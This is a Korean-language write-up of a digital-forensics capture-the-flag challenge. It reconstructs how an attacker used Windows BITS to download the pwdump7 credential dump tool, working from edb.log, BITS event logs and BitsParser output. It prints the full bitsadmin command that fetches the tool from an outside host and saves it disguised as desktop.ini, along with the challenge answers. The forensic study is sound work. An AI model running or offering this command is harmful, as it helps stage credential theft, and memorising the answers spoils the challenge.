1. Description
The attacker downloaded the credential dump tool and then tried to dump the user's credentials. How did the attacker download the credential dump tool?
2. Write up
2-1. What is the URI where the attacker downloaded the credential dump tool? (URL) (40 points)
공격자가 크리덴셜 덤프 툴을 다운받은 URI를 찾는 문제이다. 우선 문제 파일을 보면 data.zip이 있다. 압축을 해제한 뒤 data 폴더 안을 보면 크게 ProgramData, Users, Windows 폴더가 존재한다.
첫번째로 파일을 다운 받은 경로 중에 제일 많이 사용하는 경로인 %TEMP% 경로는 존재하지 않는다.
※ BITS(Background Intelligent Transfer Service)를 이용한 파일 다운로드 시 로그 경로
두번째로 %ProgramData%\Microsoft\Network\Downloader 경로를 확인하면 파일 다운로드에 대한 로그를 확인할 수 있다.
edb.log 파일을 확인해보면 http[:]//www.tarasco[.]org/seruciry/pwdump_7/pwdump7.zip파일을 받은 것을 확인할 수 있다.
정답 : http[:]//www.tarasco[.]org/seruciry/pwdump_7/pwdump7.zip
2-2. Where did the attacker save the downloaded credential dump tool to the system? (Full Path) (40 points)
edb.log 파일을 확인해보면 pwdump7.zip 과 desktop.ini 파일 이름을 확인할 수 있다.
BITS 기능을 사용하여 파일 전송을 할 경우 이와 관련된 이벤트 로그가 발생하기 때문에 이벤트 로그를 확인할 수 있다.
두 개의 파일의 연관성을 확인하기 위하여 Microsoft-Windows-Bits-Client%4Operational.evtx 파일을 확인했다.
이벤트 로그를 확인해보면 2021-05-23 오후 4:55:34에 pwndump7.zip 파일을 desktop.ini 이름으로 다운 받은 것을 확인할 수 있다.
정답 : C:Users\Public\Downloads\desktop.ini
2-3. What command did the attacker use to download the credential dump tool? (20 points)
Bitsadmin.exe를 실행시키는 방법으로는 cmd와 powershell로 실행시키는 방법이 있다.
Windows PowerShell.evtx에 로그를 확인하여 powershell로 실행시켰는지 확인해봤다.
확인 결과 PowerShell로 Bitsadmin.exe를 실행시킨 로그는 없었다. 따라서 cmd로 Bitsadmin.exe를 실행했다는 것을 알 수 있다.
$ python BitsParser.py -i qmgr.db -o result.txt --carvedb --carveall
BitsParser.py:554: SyntaxWarning: "is not" with a literal. Did you mean "!="?
if type(v) is not 'Dict':
Processing file qmgr.db
Failed to resolve sid S-1-5-21-1598613820-2441677742-2909412709-1001: [WinError 1332] 계정 이름과 보안 식별자 사이에 매 핑이 이루어지지 않았습니다.
Bash
복사
FireEye의 BitsParser를 사용하여 %ProgramData%\Microsoft\Network\Downloader\qmgr.db을 파싱 후 분석해봤다.
파싱한 결과를 result.txt에 저장시킨 뒤 Bitsadmin 문자열을 검색했으나 나오지 않았다. 따라서 현재까지 분석한 결과를 기반으로 명령어를 추측할 수 있다.
$ bitsadmin.exe
......
/TRANSFER <job name> [type] [/PRIORITY priority] [/ACLFLAGS flags] [/DYNAMIC]
remote_url local_name
Transfers one of more files.
[type] may be /DOWNLOAD or /UPLOAD; default is download
Multiple URL/file pairs may be specified.
Unlike most commands, <job name> may only be a name and not a GUID.
/DYNAMIC configures the job with BITS_JOB_PROPERTY_DYNAMIC_CONTENT, which relaxes the server-side requirements.
......
Bash
복사
bitsadmin.exe를 사용하여 파일을 전송 시 사용하는 명령어 및 옵션은 위와 같다.
$ bitsadmin /TRANSFER 1442 http://www.tarasco.org/security/pwdump_7/pwdump7.zip c:\Users\Public\Downloads\desktop.ini
Bash
복사
공격자의 입장에서 동일한 URI 경로의 파일을 동일한 경로에 저장하는 명령어를 사용해봤다.
문제에서의 Bitsadmin 이벤트
새로 구현한 Bitsadmin 이벤트
확인해본 결과 이벤트 ID, jobTitle, fileCount RemoteName, LocalName 모두 일치함을 알 수 있었다.
정답 : bitsadmin /TRANSFER 1442 http://www.tarasco.org/security/pwdump_7/pwdump7.zip c:\Users\Public\Downloads\desktop.ini